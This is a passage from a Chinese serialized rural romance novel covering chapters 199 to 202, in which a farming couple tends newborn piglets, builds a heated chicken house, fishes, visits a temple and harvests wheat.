听见老母猪的嘶叫,上前一看要下猪仔了,他连忙往外走,出了篱笆门后朝东边一看,裴厌远远在河岸打草,他高声喊道:“裴厌——猪下了——” 看见裴厌朝他一抬手,顾兰时不再喊了,在门口等待。 刘大鹅去田里干活了,这几天惦记着下猪仔的事,裴厌白天都没有走远,就在附近打猪草鸡草。 去年下过一回,老母猪今年没有那么慌乱。 因下仔会见血,裴厌没让顾兰时在旁边待,自己一个人忙碌。 顾兰时在前院把衣裳晾完,闲着没事,猪叫声和狗叫声不断,他剁些碎菜叶拌了鸡食,端起到外面喂鸡仔。 鸡仔养在东边新起的鸡圈里,买回来时淋了雨,擦拭烤火补救一番,还是死了十三只,只剩下四十七只。 这次买的多,卖雏鸡的人说多数都是母鸡,裴厌当时没细看,昨天见鸡仔都活泼,就一只只抓起来瞅了一眼,这一批公鸡不少,有十一只。 “咕——咕咕——” 顾兰时一边倒食一边喊鸡仔,毛茸茸的黄色雏鸡飞快跑来,瞧得人心喜。 他看一会儿,见没有病恹恹的,才放心出去。 裴厌说下蛋的母鸡少,过两天再去镇上买十只回来,到时候得仔细辨别一番,都得买成小母鸡。 家里这十只公鸡仔养着,长几个月就能吃嫩鸡,一边养一边吃,到过年说不定还能留两只做席面。 回到院里,顾兰时听见后头的动静,有点想去看看,但又怕自己去了裴厌还得操心他,只得停下脚步。 家里一吵,心还放不下,他坐不住,给自己找了活干,坐在灶房门口择韭菜,韭菜鲜嫩,和鸡蛋炒正合适。 “汪——” 不知道灰灰还是灰仔叫了一声,顾兰时下意识往通道口看一眼,见狗没有出来,又低头干活。 等他把菜洗完,擦干手再次听见几声狗叫,没忍住喊道:“裴厌,下了?” “下了,两只了。” 声音从后面传来,顾兰时放了心。 猪下仔得好一阵工夫,就在等待的空当里,他慢慢发现了规律,每次只要狗叫声响起,就有猪仔出来。 想必是灰灰和灰仔没见过啥世面,每看到一只小猪就要嚷嚷两声。 于是接下来,顾兰时每次听到狗叫声,就知道又有猪仔了,像是报数一样,他忍俊不禁,同时也在心里默默记着。 等裴厌从后院过来,和他预料的差不多,一共下了十二只猪仔,比去年要多。 第199章 母猪下仔工夫长,刘大鹅从田里回来,原本是赶着晌午饭时进门,知道裴厌在后院以后,他也过去帮忙,不想十二只猪仔出来以后,后边再没了,便帮着清理猪圈里的血污脏迹。 裴厌用木叉挑走沾了稻草的污迹,等刘大鹅把地面上的血迹用草灰和黄土盖住之后,又给猪圈放了干净的稻草。 虽然天暖和了,但猪圈地面有点潮湿,猪仔刚生出来,还是谨慎些。 老母猪躺着不断喘气,肥肚子一颤一颤,偶尔叫两声,一看就是累到了,十二只猪仔已经在吃奶,把找不到奶的猪仔放好,裴厌又看一眼,这才和刘大鹅往前院走。 顾兰时给他俩舀了洗手水,野澡珠也放好了,堂屋门口一左一右摆了两张桌子,中间隔开了点距离,小的桌子放了刘大鹅的饭菜和馒头。 “先喝口热茶,缓缓。”顾兰时在旁边说道,眉眼中全是笑意。 “嗯。”裴厌仔细搓着手,抬头看向身旁的人,开口道:“有三只体弱的,吃奶这一个来月得多照看,要是被抢了奶,就得换换。” “行,我知道。”顾兰时点点头,裴厌要出去打草干活,他近来还是不串门子了,留在家里照看母猪和猪仔。 他们家母猪有六对奶头,正好能喂养十二只猪仔,再多还得人帮忙轮换吃奶。 母猪前面的奶头一般来说奶水更足更好,身强力壮的猪仔力气大,能挤过别的猪仔去争抢,想要猪仔都成活,就得帮弱点的猪仔吃几口前面的奶。 * 饭后,裴厌从堂屋角提起竹筐,筐里是他昨天上山挖的猪婆奶,上面是茎叶,底下是根,茎秆叶子直接喂猪,根洗洗土,煮水拌糠以及碎菜叶草叶。 这东西对老母猪好,尤其下了仔后,他昨天想着先备下,今天就派上了用场。 刘大鹅已经在灶房添柴烧水,不止要烫猪食,隔几天也要给鸡鸭煮些草药水拌食,两口大铁锅正好。 后院。 顾兰时站在猪圈外,老母猪依旧躺着,见他过来,哼哼哼叫了几声。 十二只猪仔都趴在母猪肥肚子上,大半都吃饱睡着了,有两只还含着,半吃半睡。 见没有压到猪仔,顾兰时放了心,转身见毛驴站在木槽前看他,温顺的眼睛眨了两下。 他笑笑,到前院提了一筐鲜草来,给毛驴倒在木槽里让吃,见水槽水不多了,又从前头提了半桶净水倒进去。 母猪下了仔,一件大事落定。 东边山壁下的两个猪圈已经垒好,也不着急就把猪仔挪出去,后院还有三个空猪圈,起码两个月内,这三个猪圈足够。 顾兰时因有了身孕,家里的重活粗活不干了,但裴厌那么忙,洗衣做饭多半还是他的,说闲也没那么闲,他近来越发感到困倦,因此不大去村里串门子。 再说了,别人家也忙呢,像他爹娘,他有时想回去转转,都不一定能碰上,偶尔去了院门还锁着。 只有方红花这样不用帮家里干活的老人才有些闲工夫。 下猪仔第二天,方红花没事做,大孙子媳妇在家呢,不用她看门,她就上后山来转,一听下了十二个猪仔,喜得什么似的,在猪圈外看了好一会儿。 没过几天,村里人便都知道十二只猪仔的事了,顾兰时在家门口附近的野地里挖野菜,正好碰到李梅娘方小枝带着李保儿,连他俩都知道了,还问了他几句。 李保儿年纪小,因过年买肉的缘故,对他家养的猪很好奇,见状,顾兰时笑着,干脆领他进去看。 春衫薄,方小枝是过来人,看出顾兰时有了身孕,因不知道几个月,她没多嘴询问,同时心里想起自己儿子李梅,也成亲一年了,还没动静。 她暗自在心里琢磨,回头还是催催,她家姑爷比裴厌还大一两岁,好容易成了亲,一鼓作气再把孩子生了,最好是个儿子,以后日子也好过。 送方小枝和李保儿出门后,顾兰时才回去择野菜。 他怀有身孕的事没有张扬,如今只自己家里人知道,偶尔在路上碰见村里的婶子阿嬷,会瞅他肚子两眼,有心热的长辈,还会关切问他两句。 寻常人家过日子,其实也没什么仇怨。 * 春日短暂,一进四月,渐渐有了初夏的模样。 忙碌依旧不减,菜地里的菜慢慢开始出了,长得最快的春菜很便宜,新兴起的小菜价格好点,但种的少,顾兰时又爱吃,裴厌就没怎么卖这个。 春蒿和韭菜起来了,这两样都是割茬的,春扁豆也能摘了,去年种的大蒜已经可以抽蒜菜,菜瓜样数渐渐变多,不再单调。 刘大鹅不再等太阳出来才赶路,只要天气晴朗,他凌晨就出门,过来和裴厌一起割菜摘菜,想赶镇上的早集去卖菜,就得早早从家里走。 等裴厌赶车去卖菜以后,田里有活的话他直接去田里,不怎么在后山待,要是田里的草拔过一遍,也不用浇水上肥,他就背着竹筐到处打草,直到裴厌从镇上回来,才会跟着进门在院里歇一歇,喝点茶水吃几块糕点或馒头包子垫垫肚子。 大菜地出菜了,连带着刘大鹅家里人也能吃上,顾兰时和裴厌都不是吝啬的性子,隔几天就让刘大鹅带回去半篮子或一篮子菜。 不止要忙这些,没几天,三伯顾铁桥给找了几个盖房工匠,因只起两间屋子,不算什么大活,裴厌也到周家村找好了盘炕的匠人。 挖土夯地基,活黄泥、编竹板篾席买青瓦,院里乱糟糟的,等到盖好后才能彻底拾掇齐整干净。 一连好几天,太阳热辣辣的,没有下雨,匠人自然每天都来,有时晌午干得热累了,还会直接打赤膊。 顾兰时在灶房切菜,家里别的没有,就数菜蔬多,干重活的汉子饭量都大,因此他没有抠搜,每一顿菜量都足足的,有时也有荤腥。 听到外面干活的动静,从灶房看不出去,他没抬头,捞起盆里的菜甩甩水,又切了好大一堆,裴厌在家,能听到说话声。 刘大鹅出去打猪草了,有这么一个人手,确实帮了很大的忙,最起码,打草和田里的活有人看顾了,不用裴厌在所有事上都费心费力。 谷场上整齐放了一堆青瓦,是从宁水镇另一边的瓦窑买回来的。 原本他俩商量着,一间养鸡一间放杂物,用不着花费太多,因冬天冷,泥墙厚实,这个必不可少,屋顶糊两层竹板木板,再上一层黄泥,最顶上放厚实的茅草就行。 但后来一想,茅草三两年就得爬上去换,下雨融雪时,也没有青瓦那样顺当,想把冬天养鸡当成长久营生,暖屋还是弄好点结实点。 裴厌在和领头的还有盘炕匠人商量火墙的事,连炕带墙壁要是都热了,屋里会更暖和。 这个屋子以后多半只用来养鸡,因此炕不用盘那么高,有个炕也好和地面区分开,给炕上铺了稻草,母鸡自然会把土炕当成窝。 养鸡只在深秋冬时,平时屋子空闲,只要打扫干净了,万一来人夜宿,还有间屋子能住,有备无患。 不过好几天了,顾兰时都想不到他俩有什么亲朋会在家里夜宿。 屋子的事不用他操心,他只需把饭做好,有时方红花会过来帮忙,顺便看看屋子怎么样了。 天公作美,盖屋子这大半个月一直没有下雨,只阴了两天,因此没有耽搁进度。 土墙厚实,屋顶结实,新做的门窗已经安好,因不常住人,窗子不是很大,能打开透气就行。 两间屋舍相连,大小相同,中间没有打通连接,各自有门窗。 靠北边的一间顾兰时打算用来放杂物,南边盘了炕,自然用来养鸡。 屋子大小是裴厌和工匠一起商量出来的,特地让盖大了一点,冬天养二三十只母鸡不成问题。 其实去年在西屋养鸡时,还能比十五只更多,但一想母鸡太多,粪便潮湿更大更臭,屋子透气不如外面鸡舍,养太多的话很容易生病,不值当。 两间新屋子不着急用,再晒晒也好。 因买了青瓦,屋子又大些,还特地让做了火墙,开销比他俩原先预计的要多,花了二两多银子。 要不是裴厌去年砍树攒了些木料,不然房梁木材还得去找木匠买,算是省了一笔。 算钱的时候,顾兰时想起他大哥二哥分家出去的时候,起新院新房花了二十几两近三十两,但那是大活,屋子起的可比他们这两间要好,更别说还有院墙了。 屋子盖好后,土堆沙子瓦片都有余料,裴厌花了两天把院里拾掇干净,期间来了不少人看。 除了顾家人,还有村里几个这两年来往的,见了那矮炕,知道是用来养鸡的,嘴里都啧啧作响,要说人家能挣钱,肯下本钱不是,寻常人哪能为了养鸡特地盖间屋子。 别人怎么样不提,方红花是高兴的,不止顾兰时和裴厌,她这些儿子孙子,只要肯把心思用在正途上,她都帮着在后面鼓劲儿。 今年最要紧的一件大事落下,顾兰时和裴厌都松了口气,总算能歇两天。 水流哗哗,沿着石头池子往河流上游,离村子越远了。 波光粼粼闪烁,落在眼底成为细碎的光。 顾兰时在岸边等待,他肚子已经显了,笑着看向河里在叉鱼的裴厌。 高瘦的汉子挽起裤管和衣袖,露出修长精瘦的四肢,手里拿个木头削的木叉,站在水里慢慢移动。 一条青鱼从水草底下游出,还没摆几下尾巴,忽然就遭了殃。 水花四溅,被从水里挑出来的青鱼没有死透,身躯在空中激烈扭动。 第200章 裴厌取下被插穿的青鱼,长臂一摆就丢到岸边。 顾兰时当即上前去抓。 “汪——” 灰灰一马当先,跑得最快,它冲着草地上的鱼叫一声,见没有威胁,就低头嗅闻。 刘大鹅上山挖猪婆奶和其他草药去了,顾兰时和裴厌出门时,它顺着门缝最先挤出来,因此没有被留下看家。 顾兰时把青鱼捡起来,放进一旁地上的篓子里,低头一看,鱼篓有两条了,都是青鱼,比裴厌手掌要长,算是大的。 篓子旁边还有个竹篮,河岸马齿菜很多,这东西长起来就是一大片,他挖了满满一篮,回去剁碎了喂鸡。 离这里稍远的平缓河段,六只鸭子正在游水捕食,一猛子扎进头,只留屁股和两只鸭蹼在水面,脑袋再露出来时,嘴里不是小鱼就是小河虾,也有在吃水草的。 见它们没有游远,顾兰时就没过去管,鸭子要见水,最近他没事了就把鸭子赶出来游一游。 要说鸭子是能认得家门的,但人要是不跟着,被摸走都不知道。 下渔网还得等一晚,不如叉鱼来得快,这活儿对裴厌来说不重,甚至是轻松的,只当成玩耍来做。 不一会儿,又有三条鱼被陆续丢上岸。 顾兰时捡起地上的一条鲫鱼,看一眼鱼篓,抬头说道:“足够了,都够两三天吃的。” 裴厌应一声,就踩着水底石头往河岸走,开口道:“行,等会儿我再来一趟,下张网,明天早上来收,趁太阳好晒几条干鱼。” 他还没上岸,站在河沿的灰灰正盯着河水看,忽然大嘴一张,嘴巴猛地咬向水里的东西。 两人不约而同看向灰灰,都被它突然的举动弄懵了。 “呜——” 灰灰嘴里不知道叼着什么东西,看一眼裴厌又看一眼顾兰时,摇着尾巴邀功。 “你抓着什么了?”顾兰时上前,直接掰开它嘴看,一只河虾啪嗒掉下来,落在草上还在蹦跶。 “呜!” 灰灰一下子急了,生怕河虾落回水里。 顾兰时眼疾手快,把河虾捡起来,不小呢,跟他手指差不多长,他眉眼露出惊喜,把河虾拿起给裴厌看,说:“它会捉虾!” 裴厌笑了,长腿一迈上了岸,腿脚湿漉漉的,他看一眼灰灰,开口道:“长本事了,比灰仔聪明。” 说着,伸手揉了揉狗头。 再听不懂人话,被揉了脑袋,灰灰昂首挺胸,汪汪汪叫了好几声,兴奋地不得了,等顾兰时再摸过它脑袋以后,它又跑到河沿盯着水流看。 “来劲了。”顾兰时笑道,把手里的河虾丢进野菜篮子里,就一个,回头给灰灰自己煮了吃。 裴厌坐在一块石头上晒腿脚,脱了自己外衫叠两叠,放在旁边喊顾兰时来坐。 石头被太阳晒了大半天,其实不凉,但顾兰时没说什么,笑眯眯坐下。 两人挨得近,他顺势靠在裴厌身上,说:“鲫鱼两条,青鱼三条,把鲫鱼留下熬汤,青鱼留一条,余下两条给刘哥一条,等会儿我回家放一条,竹哥儿和霜儿肯定爱吃。” “行。”裴厌答应道,又问:“给家里的不用杀好?” “不用,我直接提过去,叫狗儿弄。”顾兰时说着,弯腰就从地上拔了一根坚韧的藤草,拉过鱼篓从中拿出一尾青鱼,在鱼嘴上穿了,打个结又放回去。 日头热辣辣的,幸好身后有棵树,脑袋和上半身被树影挡住,不至于晒得眼睛都睁不开。 四下无人,顾兰时再次靠着裴厌,懒洋洋没骨头一样。 裴厌因手上胳膊上沾了河水,怕冰,没有主动揽住夫郎,坐在那儿任凭倚靠。 少有的闲暇让两人十分惬意,哪怕不说话,彼此也能感受到那份温情。 温馨很快被勇猛无敌抓小虾的灰灰打破,它嘴里叼着东西,跑过来用一双无辜激动的眼神看着两人,呜呜呜直叫,还把小虾吐出来,用鼻子往顾兰时脚边顶。 顾兰时无奈,直起腰笑着把小虾拾起,放进地上竹篮里,再揉揉灰灰耳朵,指着篮子说:“再抓到了,就放进里面,回去给你煮了吃。” 灰灰歪着脑袋看他,又看看篮子,站在原地摇了几下尾巴,像是明白了,随即又跑向河边。 这两年一到夏天,裴厌总来这边抓鱼摸虾,河里的东西有是有,但比从前精了,再说河岸边鱼虾也少,灰灰好几口都咬了个空,一生气便冲着河水吠叫。 没有狗跑过来搅扰,好一阵子后,顾兰时松开裴厌胳膊,打了哈欠说:“不早了,你先回去把鱼杀了,我放下东西就回来。” “好。”裴厌放下裤管和衣袖,穿好草鞋拎起鱼篓和竹篮,先往鸭子那边走,顾兰时跟在旁边拍了几下手,鸭子听见动静,纷纷往河岸游。 两人赶鸭子一路回去,草木丰茂,绿色的蚂蚱在其间蹦跶。 顾兰时目光顺着蚂蚱远去,说:“要不是我身子沉,早就逮住了,抓回去好喂鸡仔子们。” 裴厌没忍住笑了下,开口道:“改天我出来逮。” 一个多月过去,鸡仔长大了些,他之前又买了十只母鸡仔回来,如今连公鸡仔十一只,母鸡仔四十六只。 两人在家门口分开,顾兰时拎着一条青鱼径直往村子那边走。 顾家院门开着,花惜霜在葫芦架底下摇辘轳打井水,听见动静,她抬头去看,笑容不再像以前那么羞涩拘谨,喊道:“兰时哥哥。” “霜儿,打水呢。”顾兰时往里走,见她圆圆的脸颊因热意而泛红,笑着开口:“怎么不让狗儿打水?” “他去地里了,我洗衣裳。”花惜霜把井桶里的水倒在木盆里,盆里是一家子的衣裳,昨天下水田,每个人衣裳都不免沾了泥水。 顾兰时把手里的青鱼提起,说:“这你厌哥哥捉的,我放灶房,最好今天就杀了吃,天热,放不得。” “嗯。”花惜霜认真点头,青鱼不小呢,最近忙,家里都没工夫去捉鱼。 “兰时哥哥。”竹哥儿人还没到,声音就从通道那边传来。 顾兰时从灶房出来,见他提个水桶,肯定是去后院给牲口添水了,天热起来,牲口水量要给足,不然渴得慌。 他叮嘱道:“放了条青鱼,你要没事做,就去杀了,刮刮鱼鳞,剖开肚子,不是什么难活。” “兰时哥哥。”竹哥儿道:“我早就会了。” 他嘴上抱怨,但说完又笑了。 “行行,会就行了。”顾兰时知道弟弟嫌烦,不再啰嗦,许是没怎么分开过,成了亲依旧离得近,他总觉得竹哥儿还小呢。 “爹娘不在?”他问道。 竹哥儿拿了张椅子过来,让他坐下,说:“和狗儿哥都在地里,家里就我俩。” 花惜霜在旁边洗衣裳,竹哥儿拿了搓衣板和野澡珠过来,坐在小凳上一起帮忙搓洗。 闲聊两句,竹哥儿想起一件事,说:“兰时哥哥,你知道不,裴家过两天就要给裴虎子换亲了。” “这么快。”顾兰时有点惊讶,上回听说,还是裴家刚把事情定下,因裴厌的缘故,他从不和裴家人打交道,有时听见传言,都是他娘跟他说两句。 “嗯,就后天的事,我早上路过他家,都在拾掇院子了。”竹哥儿说道。 顾兰时想了一下,开口:“我记得裴春艳好像才十四。” “可不是,娘说了,和竹哥儿一年的。”花惜霜在旁边搭腔。 裴春艳在裴家爹不疼娘不爱的,也不知什么时候起,越发沉默,除了干活以外不怎么出门,唯一好的,就是她没挨过打,至于是否吃饱穿暖,那只有裴家人知道了。 三人说一阵闲话,对裴家,顾兰时没多少好感,尤其叶金蓉和裴胜裴虎子,至于早两年死了的裴兴旺,就更看不上。 他听裴厌提过一嘴,裴春艳虽是老幺,但因是个女孩儿,不怎么受待见,他能听出裴厌对裴春艳的陌生感。 换亲的事不少见,只是裴春艳年纪有点小,一般十五六岁才成亲嫁娶呢,她十四岁就要出嫁了。 村里都知道,裴家是拿姑娘给裴虎子换夫郎。可再怎么唏嘘,那也是人裴家的事,旁人管不着。 没待多久,从家里回来后,见裴厌在院里刮鱼鳞,顾兰时没瞒着,大咧咧和他直说了。 “我知道。”裴厌手上不停,刮下的鱼鳞落在水里,也有迸溅到地上的,他说道:“今天早上去地里,路过时看到了。” 和以前不同,提起裴家的人和事,他眼中没了那层冰冷,变为了不在意。 顾兰时和他差不多,心中坦然,只是当闲话在说,他俩是不可能掺和裴家人的事的。 灰灰惦记着它的小虾,凑过来呜呜直叫,顾兰时心神被吸引,眉眼弯弯,起身给他们家会抓小虾的狗煮虾去了。 200-220 第201章 大门半掩,墙是篱笆墙,门却是木板门,厚实较重,风只晃动两扇门微响,无法从外吹得大开。 最前面,二十棵果树分作四行,都枝叶繁茂,绿油油的叶片随风摆动。 东边第二行栽的是杏树,春时那会儿零星开了几朵花,早已残败,想看到花盛果繁的盛景,还得再等两个年头。 果树明显比去年长大了些,但依旧不能称为大树。 一块块菜地如切好的豆腐块,齐整利落,高的是藤架竹竿挂瓜豆,地上是各种菜蔬,杂草看不到几根,打理得很好,篱笆墙底下不是顺着墙根爬的秧藤,就是随手栽的一两行薄荷或韭菜。 院子西墙前头,三个大狗窝垒作一排,原先只有两个,灰灰和灰仔长大以后会为了窝打架,于是又搭了一个。 更西边,院墙和山壁之间的鸡窝里母鸡到处啄食吃,一只雄赳赳大公鸡在它自己的地盘上到处走动,红冠长羽,颇为健壮。 如今院子东边也有鸡圈了,五十几只鸡仔正在吃木槽里的碎菜叶,其中公鸡仔明显要大一圈。 鸡圈外侧,桑树和香椿树之间有人影晃动。 顾兰时手里拿个碗,正在摘桑果。 桑果有绿有红,他挑深深的紫红果子摘,黑紫色的更不用说,已经熟透了,昨天他发现有鸟儿来啄熟了的桑果,今天就赶紧来摘了。 桑树也还小,分出来的枝条长短不一,有的较高,需要踮起脚拽着树枝往下拉,更高处他没有去动,等裴厌回来再说。 手指沾上紫红的汁水,尤其指腹处,搜刮完能够到的桑果,顾兰时目光在几棵树上转一圈,见再没有,喜滋滋端着大半碗桑果往回走。 因地上落了一些黑色的桑果子,有的被踩到踏扁,汁水溅在地面,这些多数被鸟雀啄过,一落地有蚁虫循着甜味儿围上去, “走了。”顾兰时喊一声在地上闻来闻去的大黑,率先走在前面。 灰灰在菜地里沿着土垄跑,看见他端碗,飞快窜了过来。 没看见灰仔的影子,顾兰时脚步微顿,看了一圈,最后发现钻进春菜地里的灰毛大狗。 春菜长得高,一般能到人小腿处,灰仔鬼鬼祟祟猫腰在里面,挑了一颗鲜脆的春菜,咬下几片叶子趴在地上,用前爪压着吃。 听到脚步声后,它耳朵向后折,眯起眼睛,身后尾巴还在摇,菜地缝隙狭窄,尾巴打在旁边的菜上。 “出来。”顾兰时伸手直接薅住它后脖颈处厚厚的皮肉,连拉带拽揪了出来。 看一眼被咬过的春菜,别的叶子也有咬痕,他干脆把一整颗菜连根拔起,手指再夹住地上的几片菜叶,一同放到了菜地外的石子路上。 “吃吧。”顾兰时说完,灰仔便光明正大趴在石子路上啃菜叶,尾巴摇的很欢。 新鲜的桑果过两遍水,就迫不及待张嘴。甜汁水在唇齿间流淌,清甜解馋,只是嘴巴和舌头逐渐染得紫黑。 顾兰时站在水盆前没动,不一会儿碗里就下去一半。他又捏两个,低头一看自己这么贪嘴,舔舔嘴巴,再吃了几个放下碗。 秋时瓜果丰盛,夏初这会儿多是些野果子能吃,再过几天,早熟的一两样桃儿杏儿才陆续上来。 新鲜果子难得,他有点不舍,目光落在碗里,一想裴厌还没回来,就不再留恋,桑果少,都尝尝,总不能叫他一个人吃光。 顾兰时转身从灶房离开,看不见就不馋了,和以前不同,很多东西不能多吃。 他拎了个板凳往后院走,心想往年也没有这么嘴馋,于是轻拍一下肚皮,肯定是肚子里这个闹的。 说不定,是娃娃馋嘴了,而不是他馋。 琢磨出这个念头后,他暗自点头,深觉有道理。 猪仔前段时间已经断奶,也已经劁了,不再和老母猪一个圈,正好十二只,一个猪圈四只,如此喂食方便,等再过一两月,长大长肥以后,分四只去外面的猪圈养。 铡刀放在猪圈前,昨天打的一堆猪草倒在一旁,他坐在板凳上给猪铡草。 裴厌去镇上卖菜了,今天地里活不忙,让刘大鹅也跟着,其他不提,先把来福酒楼和同春酒馆的门和人认好,万一有事忙不开,就能让刘大鹅赶车去送鸡蛋和菜。 猪在圈里哼哼叫,顾兰时手下不停,青草的味道弥漫,铡刀上沾着绿色的草汁。 十二只猪仔,他和裴厌商量过,打算养十一只。 家里家外有五个猪圈,能养十头肥猪,再还有老母猪的圈里,放一头较小又老实的猪进去,留着年底自家杀年猪。 还多一只,再养一两个月,等大一点拉去镇上卖,能卖四五钱左右,也是一笔进项。 把铡碎的猪草倒进猪圈,原本躺着的老母猪一下子站起来,哼叫着来到木槽前猛吃。 猪仔叫声更尖点儿,你争我抢生怕少吃一口。 顾兰时拍拍竹匾,让碎草倒的更干净,随后又坐下继续铡草。 去年养了六头猪,打草很累,今年即便多了刘大鹅干活,喂十二头猪也不是一件简单的事,裴厌和刘大鹅逮着空子就会出去打草。 人丁少,事情一多照顾不过来,不像原来在家里爹娘哥嫂那么多人,但裴厌想多赚点,为过几年盖房子攒钱。 他犟不过,今年只能先这样,要实在太累,明年说什么都不能养这么多了,七八头足矣。 * 不远处,寺庙红墙已经能看见,顾兰时坐在板车上,身体随着车轮转动摇晃。 兴善寺香火很旺,庙门进出的人很多。 裴厌在前面牵毛驴,一路走得较快,这会儿渐渐慢了,路上因惦记顾兰时身子,没有让毛驴跑起来。 山脚下有不少木桩,他牵着毛驴过去,找了处空地栓好,随即扶顾兰时下车。 四个轿夫抬着一顶轿子从旁边经过,轿子旁跟了一个上年纪的婆子和一个丫鬟,落轿后婆子打起轿帘,丫鬟扶着里头的人出来,是个衣着鲜丽的年轻双儿。 穷人走路,富坐轿马,轿子车马不止这一个,还有两顶更华丽的轿子停在一旁,另一边几辆大的马车珠帘华盖,一看就是大户人家。 顾兰时和裴厌跟在前面三人身后拾阶而上。 山梯不高,一到门前就闻到香烛味道,庙中人虽多,却毫不喧嚣,甚至一进来便觉身心沉静,檀香悠然,空寂悦心。 烧香拜佛自不用说,裴厌捐了香火钱,问庙里的师父求了平安符,至于给孩子取名的事不着急,还不知是男是女,等生了再来求名不迟。 以后月份大了,走路不易,坐车更要颠簸,今天正好有空,过来上上香也安心。 兴善寺依山而建,是座不小的寺院,以前顾兰时和家里人来时,只要赶上时节,都会去后山一片古树林转转歇歇,那边有花丛如海,实为盛景。 不过这次和之前不同,庙里香客众多,往后面有一段不短的路,因此两人没有多留,又下山回去了。 裴厌依旧在前面牵毛驴,他俩往回走,一路经过不少往寺里去的,挎着篮子的几个老太太老夫郎结伴同行,走一走歇一歇,眼瞅着到跟前了,都打起了精神。 老的少的都有,无论穷富,或喜或愁,各怀心思进了山门。 到官道上以后,裴厌加紧了几分,车轱辘明显转得快了。他脚力好,行惯了路,走快以后依旧四平八稳,连喘气都不带的。 * 麦浪滚滚,又是一年收麦时。 汗水沿着脸颊流淌滴落,打赤膊的汉子几乎身上都是水,个个弯腰弓背,手中镰刀挥动不停。 “裴厌!” 顾兰时顶着热辣辣的太阳来送饭,站在地头高声呼喊,喊完就顺着田垄往里面走。 麦田里,裴厌直起腰,汗水差点流进眼睛,他抬手擦一把,热得眼睛都眯在一起。 “先喝水。”顾兰时到跟前,先把手里拎的陶罐递过去,里头是晾温的水。 刘大鹅也热得不行,黑黢黢的脸发红。 裴厌给他俩倒了水,仰头咕咚咕咚,一碗水径直见了底。 旁边顾兰时把竹篮搁在地上,打开布,里头是两碗菜,他手里还拎了个小包袱,装了八个馒头和两个咸鸭蛋,四个糙馒头四个白馒头,说:“我吃过了,你俩吃。” “嗯。”裴厌答应一声,连喝两碗水才在田垄上坐下。 刘大鹅拿起一个馒头往嘴里塞,天还没亮就来地里干活,肚子早就饿了。 两碗菜不是有肉片子就是有咸菜碎,都是用油炒的,给的足。 “刘哥,吃菜,鸭蛋也吃一个。”顾兰时说一声,把手里的两个咸鸭蛋给了旁边裴厌,让递给刘大鹅一个。 他在裴厌身旁坐下,看着两人狼吞虎咽没有说话,干了一早上活,肯定饿狠了。 见裴厌赤着上身,肌肉紧实结实,平日里偏白冷的肌肤泛红,还有被麦芒扎出来的红点,一身的汗,连头发都湿了。 他伸手帮裴厌拂掉沾在身上的麦芒,说:“还是把褂子穿上,不然晒蜕皮了。” “好。”裴厌嘴里有食物,声音有点模糊。 顾兰时又道:“等会儿我把毛驴牵来,不用你回去,我晒了水,今天要是能割完麦,傍晚洗洗头发,不然汗湿难受。” “嗯。”裴厌咽下东西,说:“肯定就收完了,人多。” 只有两亩旱田,两个汉子加把劲,一天的工夫足以,要不然也不会被称为壮劳力。 刘大鹅吃东西不语,剥了咸鸭蛋就吃,今天活重,不吃饱干不动,就没有给家里省这一口。 第202章 麦子收回家还不得闲,如往年一样,趁着晒麦子,地里的麦根得掘出来,还得翻一遍地,好赶着时节种柴豆。 猪仔前三四个月是长得最快的时候,喂得好了才更肥,因此每天都不得闲。 顾兰时自觉帮不上太大忙,每天出去放鸭子的时候会打两筐鸡草,勤快的话,一天多了能打四筐,有时方红花过来串门子,会帮忙拔菜地里的草。 她没事了过来在这边拿菜,见顾兰时肚子大,裴厌和长工不但忙地里的活,打猪草又繁重,菜地浇水上肥,隔几天还要摘菜卖菜。 自己能帮一把是一把,总不能眼睁睁看孙子孙婿忙不过来。 今儿更厉害了,一大清早,她叫上村里交情好的老太太老夫郎,过来一起拔草,甚至提水浇菜。 她同顾兰时说了,临走时给人家摘一篮子菜就成,总不能叫人白干。 顾兰时满口答应,不就一篮子菜,随他们去摘,等过了一会儿,他咂摸过劲来,忽然觉得这倒是个法子。 “阿奶。”他走到方红花身旁,见有两根杂草,顺手就拔掉。 方红花坐在田垄上,她年纪大了,一直弯腰不舒坦,庄稼人走到哪里累了就直接坐下,根本不管地上的土,起来拍拍就行。 “咋了兰哥儿?”她问道,顺手挪过一旁的草篮子,拔除的杂草放进里面,不用回头再去拾掇。 在西边的扁豆地里,孙老夫郎和顾兰时二奶奶抬了一桶水,一个抽掉木棍,另一个拿了葫芦瓢沿着菜根浇水。 顾兰时笑道:“阿奶,今儿拔了草,过几天你再来,早上也行傍晚也行,也跟这一样,喊上我二奶奶和孙老嬷,拔拔草浇浇水,照样让我奶们摘一篮子菜。” 他想了一下又说:“草我每天都在地里转,裴厌也是,路过时看见顺手就拔了,肯定不会太多,抬水要是觉得重,就再喊一两个人。” 说完,顾兰时又问:“阿奶,这样成吗?只给一篮子菜。” “嗐,这简单,回头我把人喊来就行,水又不用去河边挑,井离得这么近,不是什么大活,用不着给太多。” 方红花说着,压低声音指给他看,道:“你瞅瞅,那篮子大呢,装满可得不少菜。” 顾兰时笑一下,没有声张,话音较低:“那就好,要是来的次数多了,我奶们嬷们抬水浇水也辛苦,到时我再一人给两个鸡蛋。” 两个鸡蛋也不多,今天喊人过来,她提前都说好了,会给菜拿,不白干,因此孙老夫郎和老二家的都兴冲冲带了大竹篮,不就菜地一点活,干了一辈子,根本不是什么难事,弄上一篮子菜才是正理。 方红花点点头:“行,到时候看着给。” 竹篮再大,各种菜摘一把割两把,对大菜地来说不算什么,顾兰时知道,他阿奶喊来的人,就算有小心思,也不会太过,人家帮了忙,拿菜也是应该的。 这样一来,菜地浇水就有人干了,不必裴厌事事都上心费力,顾兰时松一口气。 方红花见这边没杂草了,走到西边扁豆地里看一眼,说:“这儿,还有没浇到的,再来一瓢。” “天热,不能叫菜旱了。” 她向来气长,絮絮叨叨指派,一点儿不觉得有什么,想要拿菜,活儿得干好了,不能糊弄过去。 “嗐,这眼睛,真是老了。”孙老夫郎也是爽快人,没有推卸,说着就舀了一瓢水浇下去。 几个老太太一边说笑一边干活,顾兰时插不上嘴,方红花也不让他帮忙,只好回去提了茶壶拿了茶碗过来。 等裴厌从镇上回来,几个老人已经干完活拿了菜走了,听顾兰时这么一说,他欣然赞同,确实是个法子,少一样活,他就能抽出工夫去割草。 于是这事就成了,只要没下雨,天热的话,方红花看看菜根底下的土,心里就有数,隔几天带人过来一趟。 村里的老人听说有菜拿,拔草浇水在他们眼里是再简单不过的活,好几个都动了心思,没事了就去找方红花说话套近乎,热络得很,都想干呢。 曹小巧素来和方红花不合,听说以后也有点眼热,路上碰见了,她不好意思直接开口,只巴巴儿盯着方红花瞅。 